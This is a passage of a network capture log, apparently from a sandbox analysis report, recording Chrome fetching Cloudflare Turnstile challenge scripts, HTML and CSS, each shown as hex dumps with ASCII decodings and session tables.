2024-04-16 19:39:47 UTC	1369	IN	Data Raw: 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 54 65 28 65 2c 72 29 7b 76 61 72 20 74 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 73 5b 30 5d 26 31 29 74 68 72 6f 77 20 73 5b 31 5d 3b 72 65 74 75 72 6e 20 73 5b 31 5d 7d 2c 74 72 79 73 3a 5b 5d 2c 6f 70 73 3a 5b 5d 7d 2c 69 2c 75 2c 73 2c 6d 3b 72 65 74 75 72 6e 20 6d 3d 7b 6e 65 78 74 3a 79 28 30 29 2c 74 68 72 6f 77 3a 79 28 31 29 2c 72 65 74 75 72 6e 3a 79 28 32 29 7d 2c 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 6d 5b 53 79 6d 62 6f Data Ascii: &typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Te(e,r){var t={label:0,sent:function(){if(s[0]&1)throw s[1];return s[1]},trys:[],ops:[]},i,u,s,m;return m={next:y(0),throw:y(1),return:y(2)},typeof Symbol=="function"&&(m[Symbo
2024-04-16 19:39:47 UTC	1369	IN	Data Raw: 72 6d 61 6c 22 2c 65 2e 43 4f 4d 50 41 43 54 3d 22 63 6f 6d 70 61 63 74 22 2c 65 2e 49 4e 56 49 53 49 42 4c 45 3d 22 69 6e 76 69 73 69 62 6c 65 22 7d 29 28 6a 7c 7c 28 6a 3d 7b 7d 29 29 3b 76 61 72 20 49 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 49 65 7c 7c 28 49 65 3d 7b 7d 29 29 3b 76 61 72 20 66 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 66 65 7c 7c 28 66 65 3d 7b 7d 29 29 3b 76 61 72 20 47 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e Data Ascii: rmal",e.COMPACT="compact",e.INVISIBLE="invisible"})(j\|\|(j={}));var Ie;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(Ie\|\|(Ie={}));var fe;(function(e){e.NEVER="never",e.AUTO="auto"})(fe\|\|(fe={}));var G;(function(e){e.NEVER="never",e.MANUAL="man
2024-04-16 19:39:47 UTC	1369	IN	Data Raw: 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 65 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 55 3d 22 30 2f 30 22 3b 76 61 72 20 53 74 3d 33 30 30 2c 49 74 3d 31 30 3b 76 61 72 20 69 65 3d 22 63 66 2d 63 68 6c 2d 77 69 64 67 65 74 2d 22 2c 4d 3d 22 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 41 74 3d 22 2e 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 2c 4f 74 3d 22 2e 63 66 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 52 74 3d 22 2e 67 2d 72 65 63 61 70 74 63 68 61 22 2c 43 74 3d 22 63 66 5f 63 68 61 6c 6c 65 6e 67 65 5f 72 65 73 70 6f 6e 73 65 22 2c 6b 74 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 2c 4e 74 3d 22 67 2d 72 65 63 61 70 74 Data Ascii: y"],e)}function et(e){return N(["render","execute"],e)}var U="0/0";var St=300,It=10;var ie="cf-chl-widget-",M="cloudflare-challenge",At=".cf-turnstile",Ot=".cf-challenge",Rt=".g-recaptcha",Ct="cf_challenge_response",kt="cf-turnstile-response",Nt="g-recapt
2024-04-16 19:39:47 UTC	1369	IN	Data Raw: 72 6e 20 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 7d 2c 65 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 29 7b 72 65 74 75 72 6e 20 46 75 6e 63 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 2e 69 6e 64 65 78 4f 66 28 22 5b 6e 61 74 69 76 65 20 63 6f 64 65 5d 22 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 52 65 28 65 29 7b 76 61 72 20 72 3d 74 79 70 65 6f 66 20 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 65 77 20 4d 61 70 3a 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 52 65 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 69 66 28 69 3d 3d 3d 6e 75 6c 6c 7c 7c 21 57 74 28 69 29 29 72 65 74 75 72 6e 20 69 3b 69 66 28 74 79 70 65 6f 66 20 69 21 3d 22 66 75 6e 63 74 Data Ascii: rn t.__proto__\|\|Object.getPrototypeOf(t)},ee(e)}function Wt(e){return Function.toString.call(e).indexOf("[native code]")!==-1}function Re(e){var r=typeof Map=="function"?new Map:void 0;return Re=function(i){if(i===null\|\|!Wt(i))return i;if(typeof i!="funct
2024-04-16 19:39:47 UTC	1369	IN	Data Raw: 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 72 2e 73 72 63 29 29 72 65 74 75 72 6e 20 72 3b 66 6f 72 28 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 2c 69 3d 30 2c 75 3b 75 3d 74 5b 69 5d 3b 69 2b 2b 29 69 66 28 43 28 75 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 75 2e 73 72 63 29 29 72 65 74 75 72 6e 20 75 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 29 7b 76 61 72 20 65 3d 72 74 28 29 3b 65 7c 7c 76 28 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c Data Ascii: MLScriptElement)&&e.test(r.src))return r;for(var t=document.querySelectorAll("script"),i=0,u;u=t[i];i++)if(C(u,HTMLScriptElement)&&e.test(u.src))return u}function Bt(){var e=rt();e\|\|v("Could not find Turnstile script tag, some features may not be availabl
2024-04-16 19:39:47 UTC	1369	IN	Data Raw: 6f 67 28 22 54 75 72 6e 73 74 69 6c 65 20 57 69 64 67 65 74 20 73 65 65 6d 20 74 6f 20 68 61 76 65 20 63 72 61 73 68 65 64 3a 20 22 2c 62 29 3b 76 61 72 20 6c 3b 69 66 28 28 41 3d 65 2e 6d 73 67 48 61 6e 64 6c 65 72 29 3d 3d 3d 6e 75 6c 6c 7c 7c 41 3d 3d 3d 76 6f 69 64 20 30 7c 7c 41 2e 63 61 6c 6c 28 65 2c 7b 64 61 74 61 3a 7b 73 6f 75 72 63 65 3a 4d 2c 77 69 64 67 65 74 49 64 3a 62 2c 63 6f 64 65 3a 53 65 2c 65 76 65 6e 74 3a 22 66 61 69 6c 22 2c 72 63 56 3a 28 6c 3d 64 2e 72 63 56 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 55 7d 7d 29 2c 72 29 7b 76 61 72 20 6f 3b 77 69 6e 64 6f 77 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 73 6f 75 72 63 65 3a 4d 2c 77 69 64 67 65 74 49 64 3a 62 2c 65 76 65 6e 74 3a 22 72 63 76 2d 75 70 64 61 Data Ascii: og("Turnstile Widget seem to have crashed: ",b);var l;if((A=e.msgHandler)===null\|\|A===void 0\|\|A.call(e,{data:{source:M,widgetId:b,code:Se,event:"fail",rcV:(l=d.rcV)!==null&&l!==void 0?l:U}}),r){var o;window.postMessage({source:M,widgetId:b,event:"rcv-upda
2024-04-16 19:39:47 UTC	1369	IN	Data Raw: 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 62 2c 22 74 75 72 6e 73 74 69 6c 65 2f 69 66 2f 6f 76 32 2f 61 76 30 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 69 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 73 69 7a 65 29 2e 63 6f 6e 63 61 74 28 64 29 7d 66 75 6e 63 74 69 6f 6e 20 56 74 28 65 2c 72 29 7b 76 61 72 20 74 3b 72 2e 75 70 67 72 61 64 65 41 74 74 65 6d 70 74 73 2b 2b 3b 76 61 72 20 69 3d 72 74 28 29 3b 69 66 28 21 28 21 69 7c 7c 21 69 2e 70 61 72 65 6e 74 4e 6f 64 65 29 29 7b 76 61 72 20 75 3d 69 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 69 2e 6e 6f 6e 63 Data Ascii: gi/challenge-platform/").concat(b,"turnstile/if/ov2/av0/rcv").concat(i,"/").concat(e,"/").concat(r,"/").concat(t.theme,"/").concat(t.size).concat(d)}function Vt(e,r){var t;r.upgradeAttempts++;var i=rt();if(!(!i\|\|!i.parentNode)){var u=i==null?void 0:i.nonc
2024-04-16 19:39:47 UTC	1369	IN	Data Raw: 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 4e 6f 64 65 49 74 65 72 61 74 6f 72 28 65 2c 4e 6f 64 65 46 69 6c 74 65 72 2e 53 48 4f 57 5f 45 4c 45 4d 45 4e 54 7c 4e 6f 64 65 46 69 6c 74 65 72 2e 53 48 4f 57 5f 54 45 58 54 2c 7b 61 63 63 65 70 74 4e 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 52 29 7b 72 65 74 75 72 6e 20 75 3e 72 7c 7c 69 2e 6c 65 6e 67 74 68 3e 74 3f 4e 6f 64 65 46 69 6c 74 65 72 2e 46 49 4c 54 45 52 5f 52 45 4a 45 43 54 3a 4e 6f 64 65 46 69 6c 74 65 72 2e 46 49 4c 54 45 52 5f 41 43 43 45 50 54 7d 7d 29 2c 6d 3b 28 6d 3d 73 2e 6e 65 78 74 4e 6f 64 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 69 2e 6c 65 6e 67 74 68 3c 74 3b 29 7b 69 66 28 6d 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 4e 6f 64 65 2e 45 4c 45 4d 45 4e 54 5f 4e 4f 44 45 29 7b 76 61 72 20 Data Ascii: =document.createNodeIterator(e,NodeFilter.SHOW_ELEMENT\|NodeFilter.SHOW_TEXT,{acceptNode:function(R){return u>r\|\|i.length>t?NodeFilter.FILTER_REJECT:NodeFilter.FILTER_ACCEPT}}),m;(m=s.nextNode())!==null&&i.length<t;){if(m.nodeType===Node.ELEMENT_NODE){var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49746	104.17.2.184	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:39:47 UTC	789	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/funqz/0x4AAAAAAAWA-O9oM_yqdfiB/auto/normal HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://qnh3b.putimp.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 19:39:47 UTC	1343	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:39:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin document-policy: js-profiling origin-agent-cluster: ?1 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()
2024-04-16 19:39:47 UTC	112	IN	Data Raw: 72 65 66 65 72 72 65 72 2d 70 6f 6c 69 63 79 3a 20 73 61 6d 65 2d 6f 72 69 67 69 6e 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 37 35 36 61 34 62 37 33 63 34 37 31 33 38 33 2d 41 54 4c 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: referrer-policy: same-originServer: cloudflareCF-RAY: 8756a4b73c471383-ATLalt-svc: h3=":443"; ma=86400
2024-04-16 19:39:47 UTC	1283	IN	Data Raw: 37 61 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c Data Ascii: 7a00<!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scal
2024-04-16 19:39:47 UTC	1369	IN	Data Raw: 6e 67 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 7d 0a 0a 62 6f 64 79 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 73 79 73 74 65 6d 2d 75 69 2c 20 62 6c 69 Data Ascii: ng: 0; width: 100%; height: 100%; overflow: hidden;}body { margin: 0; background-color: #fff; padding: 0; width: 100%; height: 100%; overflow: hidden; line-height: 17px; color: #1d1f20; font-family: -apple-system, system-ui, bli
2024-04-16 19:39:47 UTC	1369	IN	Data Raw: 66 38 66 38 66 38 3b 0a 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 20 31 30 3b 0a 7d 0a 0a 23 73 75 63 63 65 73 73 2d 69 63 6f 6e 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 38 70 78 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 33 38 31 32 37 3b 0a 20 20 77 69 64 74 68 3a 20 33 30 70 78 3b 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 30 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 35 35 2c 20 30 2e 30 38 35 2c 20 30 2e 36 38 2c 20 30 2e 35 33 29 20 62 6f 74 68 3b Data Ascii: f8f8f8; stroke-miterlimit: 10;}#success-icon { display: flex; margin-right: 8px; border-radius: 50%; box-shadow: inset 0 0 0 #038127; width: 30px; height: 30px; animation: scale-up-center 0.6s cubic-bezier(0.55, 0.085, 0.68, 0.53) both;
2024-04-16 19:39:47 UTC	1369	IN	Data Raw: 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 66 6f 63 75 73 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 64 61 64 61 64 61 3b 0a 20 20 62 61 63 6b 67 72 6f Data Ascii: hallenge-overlay a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus { color: #949494;}.theme-dark .ctp-checkbox-label .mark { border: 2px solid #dadada; backgro
2024-04-16 19:39:47 UTC	1369	IN	Data Raw: 61 3a 61 63 74 69 76 65 2c 20 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 65 72 6d 73 20 61 3a 66 6f 63 75 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 71 72 20 7b 0a 20 20 66 69 6c 6c 3a 20 72 67 62 28 32 34 33 2c 20 31 32 38 2c 20 33 32 29 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 20 7b 0a 20 20 66 69 6c 6c 3a 20 23 66 66 66 3b 0a 7d 0a 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 69 6e 6b 2c 0a 2e 74 68 65 6d 65 Data Ascii: a:active, .theme-dark #terms a:focus { color: #949494;}.theme-dark #content { border-color: #666; background-color: #222;}.theme-dark #qr { fill: rgb(243, 128, 32);}.theme-dark .logo-text { fill: #fff;}.theme-dark #fr-helper-link,.theme
2024-04-16 19:39:47 UTC	1369	IN	Data Raw: 61 79 20 61 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 2c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 76 69 73 69 74 65 64 2c 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 6c 69 6e 6b 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 7d 0a 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 61 63 74 69 76 65 2c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 68 6f 76 65 72 2c 20 23 63 68 61 6c Data Ascii: ay a,#challenge-error-text a { color: #1d1f20;}#challenge-overlay a:visited, #challenge-overlay a:link,#challenge-error-text a:visited,#challenge-error-text a:link { color: #1d1f20;}#challenge-overlay a:active, #challenge-overlay a:hover, #chal
2024-04-16 19:39:47 UTC	1369	IN	Data Raw: 73 20 7e 20 2e 6d 61 72 6b 20 7b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7e 20 73 70 61 6e 2e 63 74 70 2d 6c 61 62 65 6c 20 7b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 7d 0a 2e 63 74 70 2d 63 68 65 63 6b 62 6f 78 2d 6c 61 62 65 6c 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 20 7e 20 2e 6d 61 72 6b 20 7b 0a 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 0a 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 70 78 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d Data Ascii: s ~ .mark { border: 2px solid #c44d0e;}.ctp-checkbox-label input:focus ~ span.ctp-label { text-decoration: underline;}.ctp-checkbox-label input:checked ~ .mark { transform: rotate(0deg) scale(1); opacity: 1; border-radius: 5px; background-
2024-04-16 19:39:47 UTC	1369	IN	Data Raw: 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 68 65 69 67 68 74 3a 20 32 32 70 78 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 3b 0a 7d 0a 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 66 6c 65 78 2d 66 6c 6f 77 3a 20 72 6f 77 2d 72 65 76 65 72 73 65 20 77 72 61 70 3b 0a 20 20 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 20 66 6c 65 78 2d 73 74 61 72 74 3b 0a 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 35 70 78 20 31 36 70 Data Ascii: margin-bottom: 0; height: 22px;}.size-compact .cb-container { margin-top: 3px; margin-left: 0;}.size-compact #branding { display: flex; flex-flow: row-reverse wrap; place-content: center flex-start; align-items: center; margin: 5px 16p
2024-04-16 19:39:47 UTC	1369	IN	Data Raw: 3b 0a 20 20 77 69 64 74 68 3a 20 39 30 70 78 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 72 74 6c 20 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 20 7b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 72 74 6c 20 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 65 72 6d 73 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 72 74 6c 20 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 63 66 2d 73 74 61 67 65 20 7b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 34 38 70 78 3b 0a 7d 0a 2e 72 74 6c 20 2e 73 69 7a 65 2d 63 Data Ascii: ; width: 90px; text-align: center;}.rtl .size-compact #branding { padding-right: 0; padding-left: 0; text-align: center;}.rtl .size-compact #terms { text-align: center;}.rtl .size-compact #cf-stage { padding-right: 48px;}.rtl .size-c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49747	104.17.2.184	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
